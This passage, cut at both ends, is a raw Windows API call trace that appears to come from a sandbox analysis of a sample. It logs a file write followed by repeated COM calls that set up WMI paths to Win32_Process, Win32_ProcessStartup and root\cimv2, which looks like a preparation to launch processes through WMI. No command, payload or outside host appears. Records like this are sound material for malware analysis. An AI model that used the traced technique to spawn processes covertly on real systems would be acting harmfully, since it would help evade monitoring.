dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2c4 [0151.060] GetFileType (hFile=0x2c4) returned 0x1 [0151.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0151.061] GetFileType (hFile=0x2c4) returned 0x1 [0151.061] WriteFile (in: hFile=0x2c4, lpBuffer=0x27f12d0*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x27f12d0*, lpNumberOfBytesWritten=0x1bb7e978*=0x84, lpOverlapped=0x0) returned 1 [0151.062] CloseHandle (hObject=0x2c4) returned 1 [0151.065] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0151.065] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0151.066] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0151.066] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.068] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc88c90) returned 0x0 [0151.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88c90, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0151.068] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88c90, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc958f0) returned 0x0 [0151.068] WbemDefPath:IUnknown:Release (This=0x1bc88c90) returned 0x0 [0151.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc958f0) returned 0x0 [0151.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0151.069] WbemDefPath:IUnknown:AddRef (This=0x1bc958f0) returned 0x3 [0151.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0151.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0151.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc88bf0) returned 0x0 [0151.069] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88bf0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.069] WbemDefPath:IUnknown:Release (This=0x1bc88bf0) returned 0x3 [0151.069] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0151.069] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0151.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0151.069] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x2 [0151.070] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x1 [0151.070] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0151.070] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0151.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc958f0) returned 0x0 [0151.070] WbemDefPath:IUnknown:AddRef (This=0x1bc958f0) returned 0x3 [0151.070] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x2 [0151.070] WbemDefPath:IWbemPath:SetText (This=0x1bc958f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0151.070] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc958f0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0151.070] WbemDefPath:IWbemPath:GetText (in: This=0x1bc958f0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0151.070] WbemDefPath:IWbemPath:GetText (in: This=0x1bc958f0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0151.070] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc958f0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0151.070] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc958f0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0151.070] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc958f0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0151.070] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0151.070] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0151.071] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0151.071] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.073] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc88c10) returned 0x0 [0151.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88c10, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0151.073] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88c10, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc95830) returned 0x0 [0151.073] WbemDefPath:IUnknown:Release (This=0x1bc88c10) returned 0x0 [0151.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc95830) returned 0x0 [0151.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0151.074] WbemDefPath:IUnknown:AddRef (This=0x1bc95830) returned 0x3 [0151.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0151.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0151.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc889b0) returned 0x0 [0151.074] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc889b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.074] WbemDefPath:IUnknown:Release (This=0x1bc889b0) returned 0x3 [0151.074] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0151.074] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0151.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0151.074] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x2 [0151.074] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x1 [0151.074] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0151.074] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0151.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc95830) returned 0x0 [0151.074] WbemDefPath:IUnknown:AddRef (This=0x1bc95830) returned 0x3 [0151.074] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x2 [0151.074] WbemDefPath:IWbemPath:SetText (This=0x1bc95830, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0151.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95830, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0151.075] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95830, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0151.075] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95830, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0151.075] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc95830, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0151.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95830, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0151.075] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc95830, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0151.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95830, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0151.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0151.075] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0151.075] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.075] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0151.075] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0151.075] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0151.075] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.077] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc88a50) returned 0x0 [0151.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc88a50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0151.077] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc88a50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc95770) returned 0x0 [0151.078] WbemDefPath:IUnknown:Release (This=0x1bc88a50) returned 0x0 [0151.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc95770) returned 0x0 [0151.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0151.078] WbemDefPath:IUnknown:AddRef (This=0x1bc95770) returned 0x3 [0151.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0151.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0151.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc88a90) returned 0x0 [0151.078] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc88a90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.078] WbemDefPath:IUnknown:Release (This=0x1bc88a90) returned 0x3 [0151.078] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0151.078] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0151.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0151.078] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x2 [0151.079] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x1 [0151.079] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0151.079] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0151.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc95770) returned 0x0 [0151.079] WbemDefPath:IUnknown:AddRef (This=0x1bc95770) returned 0x3 [0151.079] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x2 [0151.079] WbemDefPath:IWbemPath:SetText (This=0x1bc95770, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0151.079] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0151.079] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0151.079] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.079] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0151.079] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0151.079] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0151.079] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.080] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc88750) returned 0x0 [0151.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88750, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0151.081] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc88750, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc88770) returned 0x0 [0151.081] WbemLocator:IUnknown:Release (This=0x1bc88750) returned 0x0 [0151.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88770, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc88770) returned 0x0 [0151.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88770, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0151.081] WbemLocator:IUnknown:AddRef (This=0x1bc88770) returned 0x3 [0151.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88770, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0151.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc88770, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), 